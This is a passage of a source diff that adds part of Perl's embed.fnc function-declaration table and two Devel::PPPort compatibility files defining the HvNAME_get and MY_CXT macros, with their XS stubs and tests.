+ |NN const U8 *const send|NN STRLEN *const uoffset \
+ |NN bool *const at_end
+sn |STRLEN |sv_pos_u2b_midway|NN const U8 *const start \
+ |NN const U8 *send|STRLEN uoffset|const STRLEN uend
+s |STRLEN |sv_pos_u2b_cached|NN SV *const sv|NN MAGIC **const mgp \
+ |NN const U8 *const start|NN const U8 *const send \
+ |STRLEN uoffset|STRLEN uoffset0|STRLEN boffset0
+s |void |utf8_mg_len_cache_update|NN SV *const sv|NN MAGIC **const mgp \
+ |const STRLEN ulen
+s |void |utf8_mg_pos_cache_update|NN SV *const sv|NN MAGIC **const mgp \
+ |const STRLEN byte|const STRLEN utf8|const STRLEN blen
+s |STRLEN |sv_pos_b2u_midway|NN const U8 *const s|NN const U8 *const target \
+ |NN const U8 *end|STRLEN endu
+s |void |assert_uft8_cache_coherent|NN const char *const func \
+ |STRLEN from_cache|STRLEN real|NN SV *const sv
+sn |char * |F0convert |NV nv|NN char *const endbuf|NN STRLEN *const len
+s |SV * |more_sv
+s |bool |sv_2iuv_common |NN SV *const sv
+s |void |glob_assign_glob|NN SV *const dstr|NN SV *const sstr \
+ |const int dtype
+sRn |PTR_TBL_ENT_t *|ptr_table_find|NN PTR_TBL_t *const tbl|NULLOK const void *const sv
+s |void |anonymise_cv_maybe |NN GV *gv|NN CV *cv
+#endif
+
+: Used in sv.c and hv.c
+po |void * |more_bodies |const svtype sv_type|const size_t body_size \
+ |const size_t arena_size
+
+#if defined(PERL_IN_TOKE_C)
+s |void |check_uni
+s |void |force_next |I32 type
+s |char* |force_version |NN char *s|int guessing
+s |char* |force_strict_version |NN char *s
+s |char* |force_word |NN char *start|int token|int check_keyword \
+ |int allow_pack
+s |SV* |tokeq |NN SV *sv
+sR |char* |scan_const |NN char *start
+iR |SV* |get_and_check_backslash_N_name|NN const char* s \
+ |NN const char* const e
+sR |char* |scan_formline |NN char *s
+sR |char* |scan_heredoc |NN char *s
+s |char* |scan_ident |NN char *s|NN char *dest \
+ |STRLEN destlen|I32 ck_uni
+sR |char* |scan_inputsymbol|NN char *start
+sR |char* |scan_pat |NN char *start|I32 type
+sR |char* |scan_str |NN char *start|int keep_quoted \
+ |int keep_delims|int re_reparse \
+ |NULLOK char **delimp
+sR |char* |scan_subst |NN char *start
+sR |char* |scan_trans |NN char *start
+s |char* |scan_word |NN char *s|NN char *dest|STRLEN destlen \
+ |int allow_package|NN STRLEN *slp
+s |void |update_debugger_info|NULLOK SV *orig_sv \
+ |NULLOK const char *const buf|STRLEN len
+sR |char* |skipspace_flags|NN char *s|U32 flags
+sR |char* |swallow_bom |NN U8 *s
+#ifndef PERL_NO_UTF16_FILTER
+s |I32 |utf16_textfilter|int idx|NN SV *sv|int maxlen
+s |U8* |add_utf16_textfilter|NN U8 *const s|bool reversed
+#endif
+s |void |checkcomma |NN const char *s|NN const char *name \
+ |NN const char *what
+s |void |force_ident |NN const char *s|int kind
+s |void |force_ident_maybe_lex|char pit
+s |void |incline |NN const char *s
+s |int |intuit_method |NN char *s|NULLOK SV *ioname|NULLOK CV *cv
+s |int |intuit_more |NN char *s
+s |I32 |lop |I32 f|int x|NN char *s
+rs |void |missingterm |NULLOK char *s
+s |void |no_op |NN const char *const what|NULLOK char *s
+s |int |pending_ident
+sR |I32 |sublex_done
+sR |I32 |sublex_push
+sR |I32 |sublex_start
+sR |char * |filter_gets |NN SV *sv|STRLEN append
+sR |HV * |find_in_my_stash|NN const char *pkgname|STRLEN len
+sR |char * |tokenize_use |int is_use|NN char *s
+so |SV* |new_constant |NULLOK const char *s|STRLEN len \
+ |NN const char *key|STRLEN keylen|NN SV *sv \
+ |NULLOK SV *pv|NULLOK const char *type \
+ |STRLEN typelen
+s |int |deprecate_commaless_var_list
+s |int |ao |int toketype
+s |void|parse_ident|NN char **s|NN char **d \
+ |NN char * const e|int allow_package \
+ |bool is_utf8
+# if defined(PERL_CR_FILTER)
+s |I32 |cr_textfilter |int idx|NULLOK SV *sv|int maxlen
+s |void |strip_return |NN SV *sv
+# endif
+# if defined(DEBUGGING)
+s |int |tokereport |I32 rv|NN const YYSTYPE* lvalp
+sf |void |printbuf |NN const char *const fmt|NN const char *const s
+# endif
+#endif
+EXMp |bool |validate_proto |NN SV *name|NULLOK SV *proto|bool warn
+
+#if defined(PERL_IN_UNIVERSAL_C)
+s |bool |isa_lookup |NN HV *stash|NN const char * const name \
+ |STRLEN len|U32 flags
+#endif
+
+#if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
+s |char* |stdize_locale |NN char* locs
+#endif
+
+#if defined(USE_LOCALE) \
+ && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
+ApM |bool |_is_cur_LC_category_utf8|int category
+# ifdef DEBUGGING
+AMnPpR |char * |_setlocale_debug_string|const int category \
+ |NULLOK const char* const locale \
+ |NULLOK const char* const retval
+# endif
+#endif
+
+
+#if defined(PERL_IN_UTIL_C)
+s |SV* |mess_alloc
+s |SV * |with_queued_errors|NN SV *ex
+s |bool |invoke_exception_hook|NULLOK SV *ex|bool warn
+#if defined(PERL_MEM_LOG) && !defined(PERL_MEM_LOG_NOIMPL)
+sn |void |mem_log_common |enum mem_log_type mlt|const UV n|const UV typesize \
+ |NN const char *type_name|NULLOK const SV *sv \
+ |Malloc_t oldalloc|Malloc_t newalloc \
+ |NN const char *filename|const int linenumber \
+ |NN const char *funcname
+#endif
+#endif
+
+#if defined(PERL_MEM_LOG)
+pn |Malloc_t |mem_log_alloc |const UV nconst|UV typesize|NN const char *type_name|Malloc_t newalloc|NN const char *filename|const int linenumber|NN const char *funcname
+pn |Malloc_t |mem_log_realloc |const UV n|const UV typesize|NN const char *type_name|Malloc_t oldalloc|Malloc_t newalloc|NN const char *filename|const int linenumber|NN const char *funcname
+pn |Malloc_t |mem_log_free |Malloc_t oldalloc|NN const char *filename|const int linenumber|NN const char *funcname
+#endif
+
+#if defined(PERL_IN_NUMERIC_C)
+#ifndef USE_QUADMATH
+sn |NV|mulexp10 |NV value|I32 exponent
+#endif
+#endif
+
+#if defined(PERL_IN_UTF8_C)
+sRM |UV |check_locale_boundary_crossing \
+ |NN const U8* const p \
+ |const UV result \
+ |NN U8* const ustrp \
+ |NN STRLEN *lenp
+iR |bool |is_utf8_common |NN const U8 *const p|NN SV **swash|NN const char * const swashname|NULLOK SV* const invlist
+sR |SV* |swatch_get |NN SV* swash|UV start|UV span
+sRM |U8* |swash_scan_list_line|NN U8* l|NN U8* const lend|NN UV* min \
+ |NN UV* max|NN UV* val|const bool wants_value \
+ |NN const U8* const typestr
+#endif
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiMn |void |append_utf8_from_native_byte|const U8 byte|NN U8** dest
+#endif
+
+Apd |void |sv_setsv_flags |NN SV *dstr|NULLOK SV *sstr|const I32 flags
+Apd |void |sv_catpvn_flags|NN SV *const dstr|NN const char *sstr|const STRLEN len \
+ |const I32 flags
+Apd |void |sv_catpv_flags |NN SV *dstr|NN const char *sstr \
+ |const I32 flags
+Apd |void |sv_catsv_flags |NN SV *const dsv|NULLOK SV *const ssv|const I32 flags
+Apmd |STRLEN |sv_utf8_upgrade_flags|NN SV *const sv|const I32 flags
+Ap |STRLEN |sv_utf8_upgrade_flags_grow|NN SV *const sv|const I32 flags|STRLEN extra
+Apd |char* |sv_pvn_force_flags|NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags
+pmb |void |sv_copypv |NN SV *const dsv|NN SV *const ssv
+Apmd |void |sv_copypv_nomg |NN SV *const dsv|NN SV *const ssv
+Apd |void |sv_copypv_flags |NN SV *const dsv|NN SV *const ssv|const I32 flags
+Ap |char* |my_atof2 |NN const char *s|NN NV* value
+Apn |int |my_socketpair |int family|int type|int protocol|int fd[2]
+Apn |int |my_dirfd |NULLOK DIR* dir
+#ifdef PERL_ANY_COW
+: Used in pp_hot.c and regexec.c
+pMXE |SV* |sv_setsv_cow |NULLOK SV* dstr|NN SV* sstr
+#endif
+
+Aop |const char *|PerlIO_context_layers|NULLOK const char *mode
+
+#if defined(USE_PERLIO)
+Ap |int |PerlIO_close |NULLOK PerlIO *f
+Ap |int |PerlIO_fill |NULLOK PerlIO *f
+Ap |int |PerlIO_fileno |NULLOK PerlIO *f
+Ap |int |PerlIO_eof |NULLOK PerlIO *f
+Ap |int |PerlIO_error |NULLOK PerlIO *f
+Ap |int |PerlIO_flush |NULLOK PerlIO *f
+Ap |void |PerlIO_clearerr |NULLOK PerlIO *f
+Ap |void |PerlIO_set_cnt |NULLOK PerlIO *f|SSize_t cnt
+Ap |void |PerlIO_set_ptrcnt |NULLOK PerlIO *f|NULLOK STDCHAR *ptr \
+ |SSize_t cnt
+Ap |void |PerlIO_setlinebuf |NULLOK PerlIO *f
+Ap |SSize_t|PerlIO_read |NULLOK PerlIO *f|NN void *vbuf \
+ |Size_t count
+Ap |SSize_t|PerlIO_write |NULLOK PerlIO *f|NN const void *vbuf \
+ |Size_t count
+Ap |SSize_t|PerlIO_unread |NULLOK PerlIO *f|NN const void *vbuf \
+ |Size_t count
+Ap |Off_t |PerlIO_tell |NULLOK PerlIO *f
+Ap |int |PerlIO_seek |NULLOK PerlIO *f|Off_t offset|int whence
+Xp |void |PerlIO_save_errno |NULLOK PerlIO *f
+Xp |void |PerlIO_restore_errno |NULLOK PerlIO *f
+
+Ap |STDCHAR *|PerlIO_get_base |NULLOK PerlIO *f
+Ap |STDCHAR *|PerlIO_get_ptr |NULLOK PerlIO *f
+ApR |SSize_t |PerlIO_get_bufsiz |NULLOK PerlIO *f
+ApR |SSize_t |PerlIO_get_cnt |NULLOK PerlIO *f
+
+ApR |PerlIO *|PerlIO_stdin
+ApR |PerlIO *|PerlIO_stdout
+ApR |PerlIO *|PerlIO_stderr
+#endif /* USE_PERLIO */
+
+: Only used in dump.c
+p |void |deb_stack_all
+#if defined(PERL_IN_DEB_C)
+s |void |deb_stack_n |NN SV** stack_base|I32 stack_min \
+ |I32 stack_max|I32 mark_min|I32 mark_max
+#endif
+
+: pad API
+Apda |PADLIST*|pad_new |int flags
+#ifdef DEBUGGING
+pnX |void|set_padlist| NN CV * cv | NULLOK PADLIST * padlist
+#endif
+#if defined(PERL_IN_PAD_C)
+s |PADOFFSET|pad_alloc_name|NN PADNAME *name|U32 flags \
+ |NULLOK HV *typestash|NULLOK HV *ourstash
+#endif
+Apd |PADOFFSET|pad_add_name_pvn|NN const char *namepv|STRLEN namelen\
+ |U32 flags|NULLOK HV *typestash\
+ |NULLOK HV *ourstash
+Apd |PADOFFSET|pad_add_name_pv|NN const char *name\
+ |const U32 flags|NULLOK HV *typestash\
+ |NULLOK HV *ourstash
+Apd |PADOFFSET|pad_add_name_sv|NN SV *name\
+ |U32 flags|NULLOK HV *typestash\
+ |NULLOK HV *ourstash
+AMpd |PADOFFSET|pad_alloc |I32 optype|U32 tmptype
+Apd |PADOFFSET|pad_add_anon |NN CV* func|I32 optype
+p |void |pad_add_weakref|NN CV* func
+#if defined(PERL_IN_PAD_C)
+sd |void |pad_check_dup |NN PADNAME *name|U32 flags \
+ |NULLOK const HV *ourstash
+#endif
+Apd |PADOFFSET|pad_findmy_pvn|NN const char* namepv|STRLEN namelen|U32 flags
+Apd |PADOFFSET|pad_findmy_pv|NN const char* name|U32 flags
+Apd |PADOFFSET|pad_findmy_sv|NN SV* name|U32 flags
+ApdD |PADOFFSET|find_rundefsvoffset |
+Apd |SV* |find_rundefsv |
+#if defined(PERL_IN_PAD_C)
+sd |PADOFFSET|pad_findlex |NN const char *namepv|STRLEN namelen|U32 flags \
+ |NN const CV* cv|U32 seq|int warn \
+ |NULLOK SV** out_capture \
+ |NN PADNAME** out_name|NN int *out_flags
+#endif
+#ifdef DEBUGGING
+Apd |SV* |pad_sv |PADOFFSET po
+Apd |void |pad_setsv |PADOFFSET po|NN SV* sv
+#endif
+pd |void |pad_block_start|int full
+Apd |U32 |intro_my
+pd |OP * |pad_leavemy
+pd |void |pad_swipe |PADOFFSET po|bool refadjust
+#if defined(PERL_IN_PAD_C)
+sd |void |pad_reset
+#endif
+AMpd |void |pad_tidy |padtidy_type type
+pd |void |pad_free |PADOFFSET po
+pd |void |do_dump_pad |I32 level|NN PerlIO *file|NULLOK PADLIST *padlist|int full
+#if defined(PERL_IN_PAD_C)
+# if defined(DEBUGGING)
+sd |void |cv_dump |NN const CV *cv|NN const char *title
+# endif
+#endif
+Apd |CV* |cv_clone |NN CV* proto
+p |CV* |cv_clone_into |NN CV* proto|NN CV *target
+pd |void |pad_fixup_inner_anons|NN PADLIST *padlist|NN CV *old_cv|NN CV *new_cv
+pdX |void |pad_push |NN PADLIST *padlist|int depth
+ApbdR |HV* |pad_compname_type|const PADOFFSET po
+AMpdRn |PADNAME *|padnamelist_fetch|NN PADNAMELIST *pnl|SSize_t key
+Xop |void |padnamelist_free|NN PADNAMELIST *pnl
+AMpd |PADNAME **|padnamelist_store|NN PADNAMELIST *pnl|SSize_t key \
+ |NULLOK PADNAME *val
+Xop |void |padname_free |NN PADNAME *pn
+#if defined(USE_ITHREADS)
+pdR |PADNAME *|padname_dup |NN PADNAME *src|NN CLONE_PARAMS *param
+pR |PADNAMELIST *|padnamelist_dup|NN PADNAMELIST *srcpad \
+ |NN CLONE_PARAMS *param
+pdR |PADLIST *|padlist_dup |NN PADLIST *srcpad \
+ |NN CLONE_PARAMS *param
+#endif
+p |PAD ** |padlist_store |NN PADLIST *padlist|I32 key \
+ |NULLOK PAD *val
+
+ApdR |CV* |find_runcv |NULLOK U32 *db_seqp
+pR |CV* |find_runcv_where|U8 cond|IV arg \
+ |NULLOK U32 *db_seqp
+: Only used in perl.c
+p |void |free_tied_hv_pool
+#if defined(DEBUGGING)
+: Used in mg.c
+pR |int |get_debug_opts |NN const char **s|bool givehelp
+#endif
+Ap |void |save_set_svflags|NN SV *sv|U32 mask|U32 val
+#ifdef DEBUGGING
+Apod |void |hv_assert |NN HV *hv
+#endif
+
+ApdR |SV* |hv_scalar |NN HV *hv
+ApoR |I32* |hv_riter_p |NN HV *hv
+ApoR |HE** |hv_eiter_p |NN HV *hv
+Apo |void |hv_riter_set |NN HV *hv|I32 riter
+Apo |void |hv_eiter_set |NN HV *hv|NULLOK HE *eiter
+Ap |void |hv_rand_set |NN HV *hv|U32 new_xhv_rand
+Ap |void |hv_name_set |NN HV *hv|NULLOK const char *name|U32 len|U32 flags
+p |void |hv_ename_add |NN HV *hv|NN const char *name|U32 len \
+ |U32 flags
+p |void |hv_ename_delete|NN HV *hv|NN const char *name|U32 len \
+ |U32 flags
+: Used in dump.c and hv.c
+poM |AV** |hv_backreferences_p |NN HV *hv
+#if defined(PERL_IN_DUMP_C) || defined(PERL_IN_HV_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_SCOPE_C)
+poM |void |hv_kill_backrefs |NN HV *hv
+#endif
+Apd |void |hv_clear_placeholders |NN HV *hv
+XpoR |SSize_t*|hv_placeholders_p |NN HV *hv
+ApoR |I32 |hv_placeholders_get |NN const HV *hv
+Apo |void |hv_placeholders_set |NN HV *hv|I32 ph
+
+: This is indirectly referenced by globals.c. This is somewhat annoying.
+p |SV* |magic_scalarpack|NN HV *hv|NN MAGIC *mg
+
+#if defined(PERL_IN_SV_C)
+s |SV * |find_hash_subscript|NULLOK const HV *const hv \
+ |NN const SV *const val
+s |I32 |find_array_subscript|NULLOK const AV *const av \
+ |NN const SV *const val
+sMd |SV* |find_uninit_var|NULLOK const OP *const obase \
+ |NULLOK const SV *const uninit_sv|bool match \
+ |NN const char **desc_p
+#endif
+
+Ap |GV* |gv_fetchpvn_flags|NN const char* name|STRLEN len|I32 flags|const svtype sv_type
+Ap |GV* |gv_fetchsv|NN SV *name|I32 flags|const svtype sv_type
+
+#ifdef DEBUG_LEAKING_SCALARS_FORK_DUMP
+: Used in sv.c
+p |void |dump_sv_child |NN SV *sv
+#endif
+
+#ifdef PERL_DONT_CREATE_GVSV
+Apbm |GV* |gv_SVadd |NULLOK GV *gv
+#endif
+#if defined(PERL_IN_UTIL_C)
+s |bool |ckwarn_common |U32 w
+#endif
+Apo |bool |ckwarn |U32 w
+Apo |bool |ckwarn_d |U32 w
+: FIXME - exported for ByteLoader - public or private?
+XEopMa |STRLEN *|new_warnings_bitfield|NULLOK STRLEN *buffer \
+ |NN const char *const bits|STRLEN size
+
+#ifndef SPRINTF_RETURNS_STRLEN
+Apnod |int |my_sprintf |NN char *buffer|NN const char *pat|...
+#endif
+
+Apnodf |int |my_snprintf |NN char *buffer|const Size_t len|NN const char *format|...
+Apnod |int |my_vsnprintf |NN char *buffer|const Size_t len|NN const char *format|va_list ap
+#ifdef USE_QUADMATH
+Apnd |const char* |quadmath_format_single|NN const char* format
+Apnd |bool|quadmath_format_needed|NN const char* format
+#endif
+
+: Used in mg.c, sv.c
+px |void |my_clearenv
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#ifdef PERL_GLOBAL_STRUCT_PRIVATE
+Apo |void* |my_cxt_init |NN const char *my_cxt_key|size_t size
+Apo |int |my_cxt_index |NN const char *my_cxt_key
+#else
+Apo |void* |my_cxt_init |NN int *index|size_t size
+#endif
+#endif
+#if defined(PERL_IN_UTIL_C)
+so |void |xs_version_bootcheck|U32 items|U32 ax|NN const char *xs_p \
+ |STRLEN xs_len
+#endif
+Xpon |I32 |xs_handshake |const U32 key|NN void * v_my_perl\
+ |NN const char * file| ...
+Xp |void |xs_boot_epilog |const I32 ax
+#ifndef HAS_STRLCAT
+Apnod |Size_t |my_strlcat |NULLOK char *dst|NULLOK const char *src|Size_t size
+#endif
+
+#ifndef HAS_STRLCPY
+Apnod |Size_t |my_strlcpy |NULLOK char *dst|NULLOK const char *src|Size_t size
+#endif
+
+Apdn |bool |isinfnan |NV nv
+p |bool |isinfnansv |NN SV *sv
+
+#if !defined(HAS_SIGNBIT)
+AMdnoP |int |Perl_signbit |NV f
+#endif
+
+: Used by B
+XEMop |void |emulate_cop_io |NN const COP *const c|NN SV *const sv
+: Used by SvRX and SvRXOK
+XEMop |REGEXP *|get_re_arg|NULLOK SV *sv
+
+Aop |SV* |mro_get_private_data|NN struct mro_meta *const smeta \
+ |NN const struct mro_alg *const which
+Aop |SV* |mro_set_private_data|NN struct mro_meta *const smeta \
+ |NN const struct mro_alg *const which \
+ |NN SV *const data
+Aop |const struct mro_alg *|mro_get_from_name|NN SV *name
+Aop |void |mro_register |NN const struct mro_alg *mro
+Aop |void |mro_set_mro |NN struct mro_meta *const meta \
+ |NN SV *const name
+: Used in HvMROMETA(), which is public.
+Xpo |struct mro_meta* |mro_meta_init |NN HV* stash
+#if defined(USE_ITHREADS)
+: Only used in sv.c
+p |struct mro_meta* |mro_meta_dup |NN struct mro_meta* smeta|NN CLONE_PARAMS* param
+#endif
+Apd |AV* |mro_get_linear_isa|NN HV* stash
+#if defined(PERL_IN_MRO_C)
+sd |AV* |mro_get_linear_isa_dfs|NN HV* stash|U32 level
+s |void |mro_clean_isarev|NN HV * const isa \
+ |NN const char * const name \
+ |const STRLEN len \
+ |NULLOK HV * const exceptions \
+ |U32 hash|U32 flags
+s |void |mro_gather_and_rename|NN HV * const stashes \
+ |NN HV * const seen_stashes \
+ |NULLOK HV *stash \
+ |NULLOK HV *oldstash \
+ |NN SV *namesv
+#endif
+: Used in hv.c, mg.c, pp.c, sv.c
+pd |void |mro_isa_changed_in|NN HV* stash
+Apd |void |mro_method_changed_in |NN HV* stash
+pdx |void |mro_package_moved |NULLOK HV * const stash|NULLOK HV * const oldstash|NN const GV * const gv|U32 flags
+: Only used in perl.c
+p |void |boot_core_mro
+Apon |void |sys_init |NN int* argc|NN char*** argv
+Apon |void |sys_init3 |NN int* argc|NN char*** argv|NN char*** env
+Apon |void |sys_term
+ApoM |const char *|cop_fetch_label|NN COP *const cop \
+ |NULLOK STRLEN *len|NULLOK U32 *flags
+: Only used in op.c and the perl compiler
+ApoM |void|cop_store_label \
+ |NN COP *const cop|NN const char *label|STRLEN len|U32 flags
+
+xpo |int |keyword_plugin_standard|NN char* keyword_ptr|STRLEN keyword_len|NN OP** op_ptr
+
+#if defined(USE_ITHREADS)
+# if defined(PERL_IN_SV_C)
+s |void |unreferenced_to_tmp_stack|NN AV *const unreferenced
+# endif
+Aanop |CLONE_PARAMS *|clone_params_new|NN PerlInterpreter *const from \
+ |NN PerlInterpreter *const to
+Anop |void |clone_params_del|NN CLONE_PARAMS *param
+#endif
+
+: Used in perl.c and toke.c
+op |void |populate_isa |NN const char *name|STRLEN len|...
+
+: Used in keywords.c and toke.c
+Xop |bool |feature_is_enabled|NN const char *const name \
+ |STRLEN namelen
+
+: Some static inline functions need predeclaration because they are used
+: inside other static inline functions.
+#if defined(PERL_CORE) || defined (PERL_EXT)
+Ei |STRLEN |sv_or_pv_pos_u2b|NN SV *sv|NN const char *pv|STRLEN pos \
+ |NULLOK STRLEN *lenp
+#endif
+
+EMpPX |SV* |_get_encoding
+Ap |void |clear_defarray |NN AV* av|bool abandon
+
+ApM |void |leave_adjust_stacks|NN SV **from_sp|NN SV **to_sp \
+ |U8 gimme|int filter
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiM |PERL_CONTEXT * |cx_pushblock|U8 type|U8 gimme|NN SV** sp|I32 saveix
+AiM |void |cx_popblock|NN PERL_CONTEXT *cx
+AiM |void |cx_topblock|NN PERL_CONTEXT *cx
+AiM |void |cx_pushsub |NN PERL_CONTEXT *cx|NN CV *cv \
+ |NULLOK OP *retop|bool hasargs
+AiM |void |cx_popsub_common|NN PERL_CONTEXT *cx
+AiM |void |cx_popsub_args |NN PERL_CONTEXT *cx
+AiM |void |cx_popsub |NN PERL_CONTEXT *cx
+AiM |void |cx_pushformat |NN PERL_CONTEXT *cx|NN CV *cv \
+ |NULLOK OP *retop|NULLOK GV *gv
+AiM |void |cx_popformat |NN PERL_CONTEXT *cx
+AiM |void |cx_pusheval |NN PERL_CONTEXT *cx \
+ |NULLOK OP *retop|NULLOK SV *namesv
+AiM |void |cx_popeval |NN PERL_CONTEXT *cx
+AiM |void |cx_pushloop_plain|NN PERL_CONTEXT *cx
+AiM |void |cx_pushloop_for |NN PERL_CONTEXT *cx \
+ |NN void *itervarp|NULLOK SV *itersave
+AiM |void |cx_poploop |NN PERL_CONTEXT *cx
+AiM |void |cx_pushwhen |NN PERL_CONTEXT *cx
+AiM |void |cx_popwhen |NN PERL_CONTEXT *cx
+AiM |void |cx_pushgiven |NN PERL_CONTEXT *cx|NULLOK SV *orig_defsv
+AiM |void |cx_popgiven |NN PERL_CONTEXT *cx
+#endif
+
+#ifdef USE_DTRACE
+XEop |void |dtrace_probe_call |NN CV *cv|bool is_call
+XEop |void |dtrace_probe_load |NN const char *name|bool is_loading
+XEop |void |dtrace_probe_op |NN const OP *op
+XEop |void |dtrace_probe_phase|enum perl_phase phase
+#endif
+
+: ex: set ts=8 sts=4 sw=4 noet:
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME
new file mode 100644
index 00000000000..9fba5029fb4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME
@@ -0,0 +1,38 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ HvNAME_get(hv) HvNAME(hv)
+
+__UNDEFINED__ HvNAMELEN_get(hv) (HvNAME_get(hv) ? (I32)strlen(HvNAME_get(hv)) : 0)
+
+=xsubs
+
+char*
+HvNAME_get(hv)
+ HV *hv
+
+int
+HvNAMELEN_get(hv)
+ HV *hv
+
+=tests plan => 4
+
+ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort');
+ok(!defined Devel::PPPort::HvNAME_get({}));
+
+ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort'));
+ok(Devel::PPPort::HvNAMELEN_get({}), 0);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT
new file mode 100644
index 00000000000..efd8ca1430c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT
@@ -0,0 +1,185 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+START_MY_CXT
+dMY_CXT_SV
+dMY_CXT
+MY_CXT_INIT
+MY_CXT_CLONE
+MY_CXT
+pMY_CXT
+pMY_CXT_
+_pMY_CXT
+aMY_CXT
+aMY_CXT_
+_aMY_CXT
+
+=implementation
+
+/*
+ * Boilerplate macros for initializing and accessing interpreter-local
+ * data from C. All statics in extensions should be reworked to use
+ * this, if you want to make the extension thread-safe. See ext/re/re.xs
+ * for an example of the use of these macros.
+ *
+ * Code that uses these macros is responsible for the following:
+ * 1. #define MY_CXT_KEY to a unique string, e.g. "DynaLoader_guts"
+ * 2. Declare a typedef named my_cxt_t that is a structure that contains
+ * all the data that needs to be interpreter-local.
+ * 3. Use the START_MY_CXT macro after the declaration of my_cxt_t.
+ * 4. Use the MY_CXT_INIT macro such that it is called exactly once
+ * (typically put in the BOOT: section).
+ * 5. Use the members of the my_cxt_t structure everywhere as
+ * MY_CXT.member.
+ * 6. Use the dMY_CXT macro (a declaration) in all the functions that
+ * access MY_CXT.
+ */
+
+#if defined(MULTIPLICITY) || defined(PERL_OBJECT) || \
+ defined(PERL_CAPI) || defined(PERL_IMPLICIT_CONTEXT)
+
+#ifndef START_MY_CXT
+
+/* This must appear in all extensions that define a my_cxt_t structure,
+ * right after the definition (i.e. at file scope). The non-threads
+ * case below uses it to declare the data as static. */
+#define START_MY_CXT
+
+#if { VERSION < 5.004_68 }
+/* Fetches the SV that keeps the per-interpreter data. */
+#define dMY_CXT_SV \
+ SV *my_cxt_sv = get_sv(MY_CXT_KEY, FALSE)
+#else /* >= perl5.004_68 */
+#define dMY_CXT_SV \
+ SV *my_cxt_sv = *hv_fetch(PL_modglobal, MY_CXT_KEY, \
+ sizeof(MY_CXT_KEY)-1, TRUE)
+#endif /* < perl5.004_68 */
+
+/* This declaration should be used within all functions that use the
+ * interpreter-local data. */
+#define dMY_CXT \
+ dMY_CXT_SV; \
+ my_cxt_t *my_cxtp = INT2PTR(my_cxt_t*,SvUV(my_cxt_sv))
+
+/* Creates and zeroes the per-interpreter data.
+ * (We allocate my_cxtp in a Perl SV so that it will be released when
+ * the interpreter goes away.) */
+#define MY_CXT_INIT \
+ dMY_CXT_SV; \
+ /* newSV() allocates one more than needed */ \
+ my_cxt_t *my_cxtp = (my_cxt_t*)SvPVX(newSV(sizeof(my_cxt_t)-1));\
+ Zero(my_cxtp, 1, my_cxt_t); \
+ sv_setuv(my_cxt_sv, PTR2UV(my_cxtp))
+
+/* This macro must be used to access members of the my_cxt_t structure.
+ * e.g. MYCXT.some_data */
+#define MY_CXT (*my_cxtp)
+
+/* Judicious use of these macros can reduce the number of times dMY_CXT
+ * is used. Use is similar to pTHX, aTHX etc. */
+#define pMY_CXT my_cxt_t *my_cxtp
+#define pMY_CXT_ pMY_CXT,
+#define _pMY_CXT ,pMY_CXT
+#define aMY_CXT my_cxtp
+#define aMY_CXT_ aMY_CXT,
+#define _aMY_CXT ,aMY_CXT
+
+#endif /* START_MY_CXT */
+
+#ifndef MY_CXT_CLONE
+/* Clones the per-interpreter data. */
+#define MY_CXT_CLONE \
+ dMY_CXT_SV; \
+ my_cxt_t *my_cxtp = (my_cxt_t*)SvPVX(newSV(sizeof(my_cxt_t)-1));\
+ Copy(INT2PTR(my_cxt_t*, SvUV(my_cxt_sv)), my_cxtp, 1, my_cxt_t);\
+ sv_setuv(my_cxt_sv, PTR2UV(my_cxtp))
+#endif
+
+#else /* single interpreter */
+
+#ifndef START_MY_CXT
+
+#define START_MY_CXT static my_cxt_t my_cxt;
+#define dMY_CXT_SV dNOOP
+#define dMY_CXT dNOOP
+#define MY_CXT_INIT NOOP
+#define MY_CXT my_cxt
+
+#define pMY_CXT void
+#define pMY_CXT_
+#define _pMY_CXT
+#define aMY_CXT
+#define aMY_CXT_
+#define _aMY_CXT
+
+#endif /* START_MY_CXT */
+
+#ifndef MY_CXT_CLONE
+#define MY_CXT_CLONE NOOP
+#endif
+
+#endif
+
+=xsmisc
+
+#define MY_CXT_KEY "Devel::PPPort::_guts" XS_VERSION
+
+typedef struct {
+ /* Put Global Data in here */
+ int dummy;
+} my_cxt_t;
+
+START_MY_CXT
+
+=xsboot
+
+{
+ MY_CXT_INIT;
+ /* If any of the fields in the my_cxt_t struct need
+ * to be initialised, do it here.
+ */
+ MY_CXT.dummy = 42;
+}
+
+=xsubs
+
+int
+MY_CXT_1()
+ CODE:
+ dMY_CXT;
+ RETVAL = MY_CXT.dummy == 42;
+ ++MY_CXT.dummy;
+ OUTPUT:
+ RETVAL
+
+int
+MY_CXT_2()
+ CODE:
+ dMY_CXT;
+ RETVAL = MY_CXT.dummy == 43;
+ OUTPUT:
+ RETVAL
+
+int
+MY_CXT_CLONE()
+ CODE:
+ MY_CXT_CLONE;
+ RETVAL = 42;
+ OUTPUT:
+ RETVAL
+
